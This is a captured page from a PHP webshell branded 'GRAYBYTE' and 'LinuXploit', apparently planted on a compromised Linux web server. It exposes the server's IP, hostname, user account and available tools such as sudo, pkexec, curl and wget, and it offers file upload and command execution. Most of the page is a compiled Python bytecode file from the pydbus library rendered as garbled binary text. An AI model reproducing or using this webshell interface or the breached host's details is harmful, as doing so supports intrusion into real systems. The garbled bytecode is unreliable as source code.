- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.217.14.237
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/pydbus/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/pydbus/__pycache__/error.cpython-36.pyc
3

`��]
�@sBddlmZmZdd�Zdd�Zdd�ZGdd	�d	e�Ze�Zd
S)�)�GLib�Giocs���fdd�}|S)z;Register and map decorated exception class to a DBus error.cstj|����|S)N)�error_registration�register_error)�cls)�code�domain�name��/usr/lib/python3.6/error.py�	decoratedsz!register_error.<locals>.decoratedr
)r	rrrr
)rrr	rrsrcs�fdd�}|S)z.Map decorated exception class to a DBus error.cstj|��|S)N)r�	map_error)r)�
error_namer
rrszmap_error.<locals>.decoratedr
)rrr
)rrr

sr
cCstj|�|S)z9Map decorated exception class to all unknown DBus errors.)r�map_by_default)rr
r
rrs
rc@s`eZdZdZdZe�Ze�Zdd�Zdd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
dd�Zdd�ZdS)�ErrorRegistrationz,Class for mapping exceptions to DBus errors.NcCs
||_dS)z%Set the exception class as a default.N)�_default)�self�
exception_clsr
r
rr#sz ErrorRegistration.map_by_defaultcCs||j|<||j|<dS)z'Map the exception class to a DBus name.N)�_map�
_reversed_map)rrr	r
r
rr
's
zErrorRegistration.map_errorcCs|j||�tjj|||�S)z4Map and register the exception class to a DBus name.)r
r�	DBusErrorr)rrr	rrr
r
rr,sz ErrorRegistration.register_errorcCs|j|jkS)zIs the exception registered?)�	__class__r)r�objr
r
r�is_registered_exception1sz)ErrorRegistration.is_registered_exceptioncCs|jj|j�S)z#Get the DBus name of the exception.)r�getr)rrr
r
r�
get_dbus_name5szErrorRegistration.get_dbus_namecCs|jj||j�S)z0Get the exception class mapped to the DBus name.)rrr)rr	r
r
r�get_exception_class9sz%ErrorRegistration.get_exception_classcCs*djd|�}|j|�r&|t|�d�S|S)z'Transform the message of the exception.z{}:{}: zGDBus.ErrorN)�format�
startswith�len)rr	�message�prefixr
r
r�transform_message=s
z#ErrorRegistration.transform_messagecCsnt|tj�s|Stjj|�s |Stjj|�}|j|�}|s>|S|j||j	�}||�}||_
|j|_|j
|_|S)z,Transform the remote error to the exception.)�
isinstancer�ErrorrrZis_remote_errorZget_remote_errorrr"r Z	dbus_namerZdbus_domainrZ	dbus_code)r�er	rr Z	exceptionr
r
r�transform_exceptionFs
z%ErrorRegistration.transform_exception)�__name__�
__module__�__qualname__�__doc__r�dictrrrr
rrrrr"r&r
r
r
rrs	rN)	Z
gi.repositoryrrrr
r�objectrrr
r
r
r�<module>s
		E

Youez - 2016 - github.com/yon3zu
LinuXploit